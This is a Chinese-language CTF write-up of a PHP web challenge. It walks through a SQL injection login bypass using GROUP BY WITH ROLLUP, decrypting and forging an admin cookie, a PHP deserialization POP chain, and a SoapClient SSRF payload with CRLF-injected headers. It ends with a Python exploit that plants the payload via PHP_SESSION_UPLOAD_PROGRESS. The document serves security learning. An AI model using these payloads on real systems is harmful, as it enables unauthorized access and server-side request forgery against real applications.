知識點:SQL注入中的with rollup、SoapClient 和 Soapserver
登入分析
先用萬能密碼測試一波,顯示密碼錯誤,那麼判斷點極有可能是在 password 上。
' or 1=1#
1
loginSELECT * FROM users WHERE username='' or 1=1#' and passwd='1'Wrong password
但是不管怎麼式都沒成功,看了大佬的 wp,猜測背景判斷邏輯,然後用
with rollup
繞過,又是一種沒見過的姿勢,先學一波。
背景判斷邏輯:
$sql="select * from users where username='$name' and passwd='$pass'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['passwd'] == $_POST['passwd']) {
先簡單介紹一下
with rollup
是什麼:
實作在分組統計資料基礎上再進行相同的統計
在本地測試可以清晰的看出,如果不對資料進行一些例如:計數,求和之類的操作,直接
group by ... with rollup
,就會傳回空。
mysql> SELECT * FROM employee_tbl;
+----+------+---------------------+--------+
| id | name | date | signin |
+----+------+---------------------+--------+
| 1 | 小明 | 2016-04-22 15:25:33 | 1 |
| 2 | 小王 | 2016-04-20 15:25:47 | 3 |
| 3 | 小麗 | 2016-04-19 15:26:02 | 2 |
| 4 | 小王 | 2016-04-07 15:26:14 | 4 |
| 5 | 小明 | 2016-04-11 15:26:40 | 4 |
| 6 | 小明 | 2016-04-04 15:26:54 | 2 |
+----+------+---------------------+--------+
6 rows in set (0.03 sec)
mysql> SELECT name, COUNT(*) FROM employee_tbl GROUP BY name;
+------+----------+
| name | COUNT(*) |
+------+----------+
| 小麗 | 1 |
| 小明 | 3 |
| 小王 | 2 |
+------+----------+
3 rows in set (0.03 sec)
mysql> SELECT name, sum(signin) as signin_count FROM employee_tbl GROUP BY name with rollup;
+------+--------------+
| name | signin_count |
+------+--------------+
| 小麗 | 2 |
| 小明 | 7 |
| 小王 | 7 |
| NULL | 16 |
+------+--------------+
4 rows in set (0.04 sec)
mysql> SELECT name, count(*) as signin_count FROM employee_tbl GROUP BY name with rollup;
+------+--------------+
| name | signin_count |
+------+--------------+
| 小麗 | 1 |
| 小明 | 3 |
| 小王 | 2 |
| NULL | 6 |
+------+--------------+
4 rows in set (0.04 sec)
mysql> SELECT name, signin FROM employee_tbl GROUP BY name,signin with rollup;
+------+--------+
| name | signin |
+------+--------+
| 小麗 | 2 |
| 小麗 | NULL |
| 小明 | 1 |
| 小明 | 2 |
| 小明 | 4 |
| 小明 | NULL |
| 小王 | 3 |
| 小王 | 4 |
| 小王 | NULL |
| NULL | NULL |
+------+--------+
10 rows in set (0.06 sec)
mysql> SELECT name, count(signin) FROM employee_tbl GROUP BY name,signin with rollup;
+------+---------------+
| name | count(signin) |
+------+---------------+
| 小麗 | 1 |
| 小麗 | 1 |
| 小明 | 1 |
| 小明 | 1 |
| 小明 | 1 |
| 小明 | 3 |
| 小王 | 1 |
| 小王 | 1 |
| 小王 | 2 |
| NULL | 6 |
+------+---------------+
10 rows in set (0.05 sec)
那麼我們隻要傳回空的那一列,登入時密碼為空就可以登入。
limit 過濾了,可以用 having 代替。
payload:
1' or '1'='1' group by passwd with rollup having passwd is NULL#
密碼為空
能成功也就是說 users 表,要麼隻有一列且列名是 passwd,或者是非标準格式。
資訊收集
提示有:
wsdl.php
,但是我并沒有找到。
内容是個
xml
格式的資料,檔案的名字和傳參全在裡面。
可以通過
File_read
讀源碼,且在
hint
中也提示了幾個檔案,且
get_flag
需要
127.0.0.1
通路,那麼可能會是
ssrf
。
hint:
a few file may be helpful index.php Service.php interface.php se.php
密鑰
getflag
通路 get_flag 的時候,顯示要 admin,且是 127.0.0.1 才行,說明要以 admin 通路且位址是 127.0.0.1 。
在 index.php 中調用了 encode.php,那麼我們先寫個解密腳本。
<?php
function en_crypt($content,$key){
$key = md5($key);
$h = 0;
$length = strlen($content);
$swpuctf = strlen($key);
$varch = '';
for ($j = 0; $j < $length; $j++)
{
if ($h == $swpuctf)
{
$h = 0;
}
$varch .= $key{$h};
$h++;
}
$swpu = '';
for ($j = 0; $j < $length; $j++)
{
$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
}
return base64_encode($swpu);
}
decode.php
<?php
function de_crypt($swup,$key){
$swup = base64_decode($swup);
$key = md5($key);
$h = 0;
$length = strlen($swup);
$swpuctf = strlen($key);
$varch = '';
for ($j = 0; $j < $length; $j++)
{
if ($h == $swpuctf)
{
$h = 0;
}
$varch .= $key{$h};
$h++;
}
for($j = 0;$j < $length; $j++){
if(ord($swup{$j}) > ord($varch{$j})){
echo chr(ord($swup{$j}) - ord($varch{$j}));
}else{
echo chr(ord($varch{$j})+256-ord($swup{$j}));
}
}
}
de_crypt("3J6Roahxag==", "flag{this_is_false_flag}");
//xiaoC:2
?>
那我們僞造個 admin,
en_crypt('admin:1','flag{this_is_false_flag}');
測試,修改使用者成功。
根據 se.php 構造個利用鍊。
bb::mod1
=> aa::_call
=> aa::_get(由$this->{$name=test2}觸發)->mod2[test2]=cc
=> aa::_call->s1()->cc()
=> cc::_invoke->mod1
=> ee::_toString(str1=ee,str2=getflag)
=> dd::getflag
poc:
<?php
ini_set('session.serialize_handler', 'php');
class aa
{
public $mod1;
public $mod2;
}
class bb
{
public $mod1;
public $mod2;
}
class cc
{
public $mod1;
public $mod2;
public $mod3;
}
class dd
{
public $name;
public $flag;
public $b;
}
class ee
{
public $str1;
public $str2;
}
$b = new bb();
$a = new aa();
$b->mod1 = $a;
$c = new cc();
$a->mod2['test2'] = $c;
$e = new ee();
$c->mod1 = $e;
$d = new dd();
$e->str1 = $d;
$e->str2 = 'getflag';
$d->flag = '';
$d->b = '';
echo serialize($b);
那麼怎麼利用呢,call_user_func 的第二個參數是個數組,是以不能直接 rce,那麼我們可以令
$d->b='call_user_func'
,令
array(reset($_SESSION),$this->flag);
可以調用
server
的
get_flag
方法。
可以通過反序列化
SoapClient
類,令
location
指向
interface.php
即服務端,因為服務端的
setClass
為
Service
類,而
Get_flag
方法在
Service
類中,最後我們通過
call_user_func
調用
SoapClient
類的
Get_flag
方法即調用了
Service
類的
Get_flag
方法。
<?php
$a = new SoapClient(null,array(
'user_agent'=>
'succ3^^X-Forwarded-For: 127.0.0.1^^Cookie: user=xZmdm9NxaQ==^^Content-Type:application/x-www-form-urlencoded',
'uri'=>'bbb',
'location'=>'http://127.0.0.1/interface.php'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo '|'.urlencode($b);
最後我們把我們 SoapClient 的反序列化寫入session,通過 se.php 傳入我們的 poc,調用 session。
$d->flag = 'get_flag';
$d->b = 'call_user_func';
exp
import requests
from urllib import parse
url = 'http://25b0ba10-b9fc-4f12-b7c8-44262ff9a28e.node4.buuoj.cn:81/index.php'
data = {
'PHP_SESSION_UPLOAD_PROGRESS':parse.unquote("|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A30%3A%22http%3A%2F%2F127.0.0.1%2Finterface.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A108%3A%22succ3%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+user%3DxZmdm9NxaQ%3D%3D%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D")
}
files = [
('file', ('1.txt', b'a' * 40960, 'text/plain')),
]
cookie = {
'PHPSESSID':'succ3'
}
req_session = requests.post(url,cookies=cookie,data=data,files=files)
url = 'http://25b0ba10-b9fc-4f12-b7c8-44262ff9a28e.node4.buuoj.cn:81/se.php'
cookie = {
'PHPSESSID':'succ3',
}
data = {
'aa':'O:2:"bb":2:{s:4:"mod1";O:2:"aa":2:{s:4:"mod1";N;s:4:"mod2";a:1:{s:5:"test2";O:2:"cc":3:{s:4:"mod1";O:2:"ee":2:{s:4:"str1";O:2:"dd":3:{s:4:"name";N;s:4:"flag";s:8:"get_flag";s:1:"b";s:14:"call_user_func";}s:4:"str2";s:7:"getflag";}s:4:"mod2";N;s:4:"mod3";N;}}}s:4:"mod2";N;}'
}
req_flag = requests.post(url,cookies=cookie,data=data)
print(req_flag.text)
reference
php中soap使用:https://blog.csdn.net/nanshan_hzq/article/details/52814622
PHP使用WSDL格式Soap通信 :https://www.cnblogs.com/hujun1992/p/wsdl.html
wp:https://www.jianshu.com/p/71bc9bdd9882